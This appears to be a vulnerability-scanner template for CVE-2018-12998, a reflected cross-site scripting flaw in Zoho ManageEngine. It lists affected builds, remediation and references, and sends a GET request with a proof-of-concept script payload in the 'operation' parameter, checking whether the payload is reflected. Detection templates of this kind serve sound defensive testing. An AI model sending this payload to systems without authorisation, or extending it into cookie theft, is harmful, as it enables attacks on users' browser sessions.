Zoho manageengine - Cross-Site Scripting

id: CVE-2018-12998

info:
  name: Zoho manageengine - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts  Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by Zoho ManageEngine to fix the XSS vulnerability.
  reference:
    - https://github.com/unh3x/just4cve/issues/10
    - http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12998
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-12998
    cwe-id: CWE-79
    epss-score: 0.54113
    epss-percentile: 0.98059
    cpe: cpe:2.3:a:zohocorp:firewall_analyzer:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zohocorp
    product: firewall_analyzer
  tags: cve,cve2018,zoho,xss,manageengine,packetstorm,zohocorp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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